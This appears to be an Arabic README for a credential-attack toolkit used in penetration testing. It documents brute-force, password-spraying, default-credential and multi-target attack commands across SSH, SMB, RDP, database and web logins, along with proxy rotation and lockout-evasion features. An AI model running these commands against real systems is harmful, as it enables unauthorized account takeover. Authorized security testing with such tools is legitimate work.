
credential-attacks-toolkit — Updated!
مجموعة كاملة من هجمات بيانات الاعتماد للاختبار الأمني المصرح به — SSH, FTP, Web Login, Bruteforce, Dictionary attacks
CredAttack — مجموعة أدوات هجمات بيانات الاعتماد
⚠️ إشعار قانوني — اختبارات الأمان المصرّح بها فقط.
استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها يُعد غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، والقوانين المكافئة حول العالم. راجع SECURITY.md.
جدول المحتويات
- ما هي CredAttack؟
- أوضاع الهجوم
- البروتوكولات المدعومة
- البنية المعمارية
- بدء سريع
- التثبيت
- مرجع سطر الأوامر
- محرك تحويل كلمات المرور
- قاعدة بيانات بيانات الاعتماد الافتراضية
- تدوير البروكسي
- تقارير HTML
- الإعدادات ومتغيرات البيئة
- Docker
- الاختبار
- هيكل المشروع
- المساهمة
ما هي CredAttack؟
CredAttack هي مجموعة اختبار بيانات اعتماد معيارية وجاهزة للإنتاج لعمليات اختبار الاختراق المصرّح بها. تغطي دورة حياة هجوم بيانات الاعتماد الكاملة:
| المرحلة | قدرة CredAttack |
|---|---|
| الاستطلاع | قاعدة بيانات بيانات الاعتماد الافتراضية (أكثر من 200 زوج)، توليد أنماط ذكي مشتق من اسم المستخدم |
| الهجوم | 17 مهاجم بروتوكول، 6 أوضاع هجوم، حملات متعددة الأهداف |
| المراوغة | كشف الإغلاق، تحديد معدل قابل للتكوين، التذبذب، تدوير البروكسي |
| إعداد التقارير | سجل تدقيق JSONL، تقرير HTML بـ Jinja2، لافتة بيانات الاعتماد المكتشفة + تفريغ ملف |
أوضاع الهجوم
| الوضع | الأمر | الوصف |
|---|---|---|
| القاموس | ssh, ftp, smb, … | قائمة كلمات ضد مستخدم واحد |
| الرش | spray | كلمة مرور واحدة عبر قائمة مستخدمين (آمن ضد الإغلاق) |
| الدمج | combo | كل مستخدم × كل كلمة مرور |
| الذكي | smart | توليد أنماط مشتق من اسم المستخدم/الشركة |
| الافتراضيات | defaults | تجربة أكثر من 200 افتراضي معروف للخدمات |
| متعدد الأهداف | multi | نفس الهجوم عبر قائمة مضيفين |
| خط أنابيب كامل | full | جميع البروتوكولات، تقرير واحد |
البروتوكولات المدعومة
| # | البروتوكول | الوحدة | المنفذ الافتراضي | ملاحظات |
|---|---|---|---|---|
| 1 | SSH | ssh.py | 22 | paramiko، مصادقة مفتاح/كلمة مرور |
| 2 | FTP | ftp.py | 21 | الوضع النشط والسلبي |
| 3 | نموذج HTTP | http_form.py | 80/443 | كشف تلقائي لرمز CSRF |
| 4 | HTTP Basic | http_basic.py | 80 | RFC 7617 |
| 5 | HTTP Digest | http_digest.py | 80 | RFC 7616 |
| 6 | SMB | smb.py | 445 | impacket، NTLM |
| 7 | RDP | rdp.py | 3389 | impacket NLA |
| 8 | SMTP | smtp.py | 587 | STARTTLS |
| 9 | POP3 | pop3.py | 110 | دعم APOP |
| 10 | IMAP | imap.py | 143 | STARTTLS |
| 11 | MySQL | mysql.py | 3306 | mysql-connector-python |
| 12 | MSSQL | mssql.py | 1433 | pymssql |
| 13 | Redis | redis_proto.py | 6379 | أمر AUTH |
| 14 | MongoDB | mongodb.py | 27017 | pymongo |
| 15 | WinRM | winrm.py | 5985 | NTLM، pywinrm |
| 16 | LDAP | ldap_proto.py | 389 | ldap3، كشف تلقائي rootDSE |
| 17 | Telnet | telnet.py | 23 | TCP خام |
| 18 | VNC | vnc.py | 5900 | استجابة تحدي DES خام |
البنية المعمارية
credattack.py ← غلاف رفيع: `python credattack.py ...` من نسخة مستخرجة
│
├── credattack/cli.py ← CLI (Typer) — 8 أوامر فرعية لأوضاع الهجوم؛ وأيضاً
│ سكربت وحدة التحكم `credattack` عند التثبيت عبر pip
├── credattack/core/
│ ├── config.py ← إعدادات Pydantic v2، تجاوزات متغيرات البيئة CREDATTACK_*
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + واجهة تقدم Rich)
│ ├── lockout.py ← LockoutDetector (نافذة منزلقة، آمن للخيوط)
│ ├── proxy.py ← ProxyRotator (round-robin، فحص صحي، تخفيض الرتبة)
│ ├── mutator.py ← PasswordMutator (leet، موسمي، لاحقة، مشي لوحة المفاتيح…)
│ ├── result.py ← فئات بيانات AttemptResult + SessionReport
│ ├── report.py ← مولّد تقارير HTML بـ Jinja2
│ └── logger.py ← تسجيل Rich + كاتب تدقيق JSONL
│
├── credattack/protocols/
│ └── *.py ← 18 تنفيذ ProtocolAttacker
│
├── credattack/data/
│ ├── default_creds.json ← أكثر من 200 زوج بيانات اعتماد افتراضية حقيقية
│ ├── smart_patterns.json ← أكثر من 140 قالب كلمة مرور مؤسسية
│ └── wordlists/ ← قوائم كلمات مرور افتراضية لكل خدمة
│
└── tests/ ← أكثر من 50 اختبار pytest (وحدة + محاكاة بروتوكول)
بدء سريع
# الاستنساخ والإعداد
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# التحقق من الإصدار
python credattack.py --version
# تشغيل تجريبي (بدون اتصالات — تحقق من قوائم الكلمات)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# هجوم قاموس SSH حقيقي
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# رش كلمات المرور (محدود المعدل، آمن ضد الإغلاق)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# الوضع الذكي — توليد أنماط من اسم المستخدم + الشركة
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# تجربة افتراضيات الخدمة
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# حملة متعددة الأهداف
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
التثبيت
الخيار أ — pip + virtualenv (موصى به)
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
الخيار ب — اختصارات Makefile
make install # التبعيات الأساسية
make install-dev # + pytest-cov, ruff, mypy
الخيار ج — تثبيت pip (قابل للتحرير أو من حزمة)
pip install -e . # التبعيات الأساسية فقط
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # سكربت وحدة التحكم، مكافئ لـ `python credattack.py`
الخيار د — Docker
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# تركيب قوائم الكلمات وجمع المخرجات
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
مرجع سطر الأوامر
الخيارات العامة
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version عرض الإصدار والخروج.
--help عرض المساعدة.
العلامات الشائعة (متاحة على جميع أوامر البروتوكول)
| العلامة | المختصر | الافتراضي | الوصف |
|---|---|---|---|
--target | -t | — | المضيف / IP الهدف |
--port | 0 (افتراضي البروتوكول) | تجاوز منفذ TCP | |
--username | -u | — | اسم مستخدم واحد |
--user-file | -U | — | ملف أسماء مستخدمين مفصولة بأسطر جديدة |
--pass-file | -P | — | ملف كلمات مرور مفصولة بأسطر جديدة |
--password | -p2 | — | كلمة مرور واحدة |
--threads | -n | 10 | عمال متزامنون |
--timeout | -T | 5.0 | مهلة كل محاولة (ثانية) |
--delay | -d | 0.0 | تأخير ثابت بين المحاولات (ثانية) |
--jitter | 0.0 | أقصى تذبذب عشوائي (ثانية) | |
--stop-on-first | True | التوقف لكل مستخدم بعد أول نجاح | |
--proxy-file | None | قائمة بروكسي HTTP/SOCKS5 | |
--output-dir | -o | ./output | دليل النتائج |
--verbosity | -v | 1 | مستوى التسجيل (0-3) |
--dry-run | False | عد الأزواج دون الاتصال |
الأوامر الفرعية
# خاص بالبروتوكول (كل واحد يرتبط بمهاجم مخصص)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (نموذج / basic / digest)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# الرش — كلمة مرور واحدة، مستخدمون كثيرون، تأخير طويل
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# الدمج — حاصل الضرب الديكارتي مستخدمون × كلمات مرور
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# الذكي — توليد مشتق من OSINT
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# الافتراضيات — تجربة بيانات اعتماد افتراضية من البائع
python credattack.py defaults -t HOST --protocol mysql
# المتعدد — نفس الهجوم عبر مضيفين متعددين
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# الكامل — جميع البروتوكولات بالتسلسل
python credattack.py full -t HOST -U users.txt -P passes.txt
محرك تحويل كلمات المرور
يدعم PasswordMutator في credattack/core/mutator.py استراتيجيات قابلة للتركيب:
| الاستراتيجية | الطريقة | مثال المخرجات |
|---|---|---|
| لغة Leet | leet_speak(word) | p@ssw0rd, p455w0rd |
| الأحرف الكبيرة | capitalise_variants(word) | PASSWORD, Password, pAsSwOrD |
| اللاحقة | suffix_append(word) | password123, password@2025 |
| البادئة | prefix_append(word) | !password, mypassword |
| مشي لوحة المفاتيح | keyboard_walk(word) | qassword (a→q) |
| أنماط اسم المستخدم | username_patterns(user, company) | john123, Doe1!, ACME2024! |
| الموسمي (v1.1) | seasonal_patterns(company) | Summer2024!, Winter25 |
| تغليف الأحرف الخاصة (v1.1) | special_char_wrap(word) | !@Password, Password!@ |
| الدمج | combine(word, strategies) | يربط أي مما سبق |
| الذكي (الكل في واحد) | smart_generate(user, company) | تدفق بدون تكرار وبسقف محدد |
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# جميع الاستراتيجيات مجتمعة
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# الأنماط الموسمية فقط
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
قاعدة بيانات بيانات الاعتماد الافتراضية
يحتوي credattack/data/default_creds.json على أكثر من 200 زوج بيانات اعتماد افتراضية حقيقية عبر:
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
# عرض جميع الافتراضيات لخدمة معينة
python credattack.py defaults -t HOST --protocol mysql --dry-run
# التشغيل ضد الهدف
python credattack.py defaults -t 10.0.0.1 --protocol ssh
تدوير البروكسي
مرر ملف بروكسي (بروكسي واحد لكل سطر، بصيغة host:port):
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
يقوم ProxyRotator بإجراء فحوصات صحية عند بدء التشغيل ويخفض رتبة البروكسيات التي تتجاوز عتبة معدل الفشل. يتم استبعاد البروكسيات الميتة تلقائياً.
تقارير HTML
بعد كل هجوم غير تجريبي يتم إنشاء تقرير HTML تلقائياً في ./output/:
- بطاقات إحصائية: إجمالي المحاولات، معدل النجاح، المدة، المحاولات/الثانية
- جدول بيانات الاعتماد المكتشفة: المضيف · البروتوكول · اسم المستخدم · كلمة المرور (نسخ إلى الحافظة)
- قالب Jinja2 بسمة داكنة
# الفتح بعد التشغيل
start output/report_*.html # Windows
open output/report_*.html # macOS
الإعدادات ومتغيرات البيئة
يمكن تجاوز جميع الإعدادات في credattack/core/config.py عبر متغيرات البيئة CREDATTACK_*:
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
أو على مستوى CLI بالعلامات القياسية (--threads, --timeout, إلخ).
Docker
# بناء الصورة
docker build -t credattack -f docker/Dockerfile .
# التشغيل مع Docker Compose
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# ضبط الإعدادات عبر البيئة
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
الاختبار
# تشغيل جميع الاختبارات
pytest -q
# مع التغطية
pytest --cov=credattack --cov-report=term-missing -q
# اختصار Makefile
make test-cov
المجموعة الحالية: أكثر من 50 اختباراً تغطي:
| المجال | الاختبارات |
|---|---|
| كاشف الإغلاق (نافذة منزلقة، أمان الخيوط) | test_lockout.py |
| استراتيجيات محول كلمات المرور | test_mutator.py |
| استراتيجيات المحول الجديدة (موسمي، أحرف خاصة) | test_mutator_extended.py |
| مدوّر البروكسي (فحص صحي، تخفيض رتبة) | test_proxy.py |
| فئات بيانات Result و SessionReport | test_result.py |
| محاكاة بروتوكول SSH | test_protocols_ssh.py |
| محاكاة بروتوكول FTP | test_protocols_ftp.py |
| محاكاة HTTP Basic و Digest | test_protocols_http.py |
قوائم الكلمات
⚠️ ملفات
wordlists/المرفقة هي نماذج اختبار دخان ضئيلة. قم بتوفير ملفاتك الخاصة للتقييمات الحقيقية.
مصادر موصى بها
| قائمة الكلمات | الحجم | الأفضل لـ |
|---|---|---|
rockyou.txt | ~14 M | قاموس عام |
SecLists/Passwords/ | متنوع | خاص بالبروتوكول |
kaonashi.txt | ~64 M | تغطية متقدمة |
| مشتق من OSINT | متغير | هجمات مستهدفة |
# استخدام أي قائمة كلمات خارجية
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
هيكل المشروع
credential-attacks-toolkit/
├── credattack.py # غلاف رفيع -> credattack.cli:app (استخدام نسخة المصدر)
├── pyproject.toml # إعداد بناء وأدوات PEP 517/518
├── requirements.txt # تبعيات التشغيل
├── Makefile # اختصارات المطور
├── VERSION # مصدر واحد لحقيقة الإصدار
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: lint + مصفوفة اختبار + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — معبأ، يدعم سكربت وحدة التحكم
│ ├── core/
│ │ ├── config.py # إعدادات Pydantic v2
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (نافذة منزلقة)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # مولّد تقارير HTML
│ │ └── logger.py # مسجل Rich + كاتب JSONL
│ ├── protocols/ # 18 تنفيذ ProtocolAttacker
│ │ └── base.py # ProtocolAttacker مجرد
│ └── data/
│ ├── default_creds.json # أكثر من 200 افتراضي من البائعين
│ ├── smart_patterns.json # أكثر من 140 قالب مؤسسي
│ └── wordlists/ # قوائم بداية لكل خدمة
├── attacks/ # أدوات ملف واحد مستقلة (تسبق credattack/؛
│ └── *.py # محفوظة للنصوص غير المنقولة بعد: تكسير JWT،
│ # كشف WAF، تعداد المستخدمين بتوقيت)
├── utils/
│ └── credential_utils.py # مساعدات مشتركة لنصوص attacks/
├── tests/
│ ├── conftest.py # تركيبات مشتركة
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # نماذج اختبار دخان ضئيلة
└── output/ # السجلات والتقارير المولدة (مستثناة من git)
معدلات نجاح الهجوم (استرشادية)
| نوع كلمة المرور | القاموس | الوضع الذكي | الرش (شائع) |
|---|---|---|---|
| 4 أحرف | ~90% | ~95% | ~60% |
| 6 أحرف | ~65% | ~75% | ~25% |
| 8 أحرف مختلطة | ~15% | ~25% | ~5% |
| 10+ أحرف معقدة | <5% | <5% | <1% |
المساهمة
راجع CONTRIBUTING.md.
يرجى فتح مشكلة قبل تقديم طلبات سحب كبيرة.
يجب أن تلتزم جميع المساهمات بسياسة الاستخدام الأخلاقي في SECURITY.md.
استخدم بمسؤولية. اختبر أخلاقياً. ابق قانونياً.